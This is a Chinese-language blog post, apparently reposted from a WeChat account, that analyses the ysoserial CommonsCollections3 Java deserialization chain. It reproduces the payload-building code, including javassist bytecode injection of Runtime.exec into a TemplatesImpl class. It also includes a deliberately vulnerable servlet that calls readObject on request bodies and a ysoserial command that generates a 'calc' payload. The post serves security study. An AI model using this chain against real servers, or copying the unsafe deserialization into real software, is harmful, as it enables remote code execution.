前言
学习ysoserial中CommonsCollections3
反序列化利用链。
ysoserial 中的 CC3 payload构造
先看下yso中cc3这条链的payload是怎么构造的,后续我们再分析反序列化的过程。
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
首先通过Gadgets.createTemplatesImpl(command)
方法获得一个TemplatesImpl
对象实例。
获取系统属性 properXalan
的值。判断是否有这个系统变量的值。
里找不到这个系统属性。两个return传入的参数一样,达到相同的效果。
传入createTemplatesImpl
方法的参数如下:
createTemplatesImpl
// 首先获取 TemplatesImpl 类实例。
final T templates = tplClass.newInstance();
// 通过前面介绍的javassist技术获取并修改 StubTransletPayload 类
ClassPool pool = ClassPool.getDefault();
// 将StubTransletPayload类和AbstractTranslet类添加到类搜索路径,第一个类为我们需要获取并修改的类,第二个类为父类。实际上这里手工添加类搜索路径起到一个保险作用。
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
// 获取 StubTransletPayload 类并创建 CtClass 实例对象。CtClass 对象是可以被动态创建修改的。
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在 StubTransletPayload 类定义的最后添加静态代码块
String cmd = "java.lang.Runtime.getRuntime().exec("" +
command.replace("\", "\\").replace(""", "\"") +
"");";
clazz.makeClassInitializer().insertAfter(cmd);
// 将这个我们动态创建并进行了修改的类进行命名
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 获取 AbstractTranslet 类,并将该类作为新建类的父类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
到此,一个新建类(StubTransletPayload)已经创建并修改完成。
// 获取这个新建的恶意类的字节码
final byte[] classBytes = clazz.toBytecode();
// 通过java反射机制将这个字节码填充到 TemplatesImpl 实例对象的 _bytecodes 属性中。这里为了代码规范,还注入了一个无意义的类的字节码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// 填充了 TemplatesImpl 实例对象的两个字段 "_name" 和 "_tfactory"
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
至此,我们得到了携带恶意类字节码的 TemplatesImpl
实例对象,变量定义为templates
。
创建 ChainedTransformer 对象
创建ChainedTransformer
对象,并创建Transformer
对象数组,并在后面的代码中通过反射将ChainedTransformer
对象的iTransformers
属性赋值为Transformer
对象数组。该对象数组含有两个元素,ConstantTransformer
对象和InstantiateTransformer
对象,具体作用在后面反序列化过程进行分析。
创建动态代理对象并绑定处理器AnnotationInvocationHandler
将ChainedTransformer
对象绑定到lazyMap
对象上,后面只要lazyMap
对象调用get(key)
方法时,key不存在,则会调用ChainedTransformer
对象的transform
方法。
接着创建LazyMap
的动态代理类并绑定处理器。这部分代码生成与cc1反序列化链生成一致,客气回顾以往的分析文章。
反序列化过程分析
1. 创建web项目
创建一个maven web项目,并创建一个servlet如下:
package com.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
pom.xml中添加commons-collections
3.1依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
使用yso生成calc
命令的payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections3 "calc" > cc3.ser
利用burp发送payload,成功执行命令弹出计算器:
2. 反序列化链分析
反序列化的对象是AnnotationInvocationHandler
,从AnnotationInvocationHandler.readObject()
开始。
AnnotationInvocationHandler.readObject()
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
注意这里:
Iterator var4 = this.memberValues.entrySet().iterator();
这里的memberValues的值是LazyMap
的动态代理对象,他要执行entrySet方法,需要通过处理器AnnotationInvocationHandler.invoke()
方法
AnnotationInvocationHandler.invoke()
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
在这一行代码中:
Object var6 = this.memberValues.get(var4);
这里是进入LazyMap
动态代理对象的触发器的invoke方法,这里的memberValues
就是之前绑定ChainedTransformer
对象的LazyMap
自身。这里就触发了条件:lazyMap对象调用get(key)
方法时,key不存在,则会调用ChainedTransformer对象的transform方法。
LazyMap.get()
:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
this.factory
属性就是ChainedTransformer
对象。
ChainedTransformer.transform()
:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
this.iTransformers
中存储了ConstantTransformer
对象和InstantiateTransformer
对象。
ConstantTransformer.transform()
直接返回类:com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
重点看InstantiateTransformer.transformer()
。
InstantiateTransformer.transformer()
这里的input变量就是上一步ConstantTransformer.transform()
返回的结果:TrAXFilter类。
这里会将实例化一个TrAXFilter
类,传入构造函数的参数this.iArgs
为之前生成反序列化链时的TemplatesImpl
对象。
进入TrAXFilter
的构造函数。
TrAXFilter.TrAXFilter()
可以看到这里调用了templates.newTransformer
,这部分就跟前面分析cc2利用链过程一样了。
TemplatesImpl.newTransformer()
方法主要用于获取 TransformerImpl 实例对象。
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
会调用 TemplatesImpl.getTransletInstance()
方法:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
_class[_transletIndex]
就是我们通过 JAVAssist 构造的恶意类。
会对恶意类调用 newInstance() 方法,类会先被加载后再被实例化。
类在加载时会调用静态代码块中的内容。最终会调用 java.lang.Runtime.getRuntime().exec()
执行我们的命令。
参考链接
https://www.cnblogs.com/tr1ple/p/12390094.html
原文始发于微信公众号(信安文摘):【yso】- CC3反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论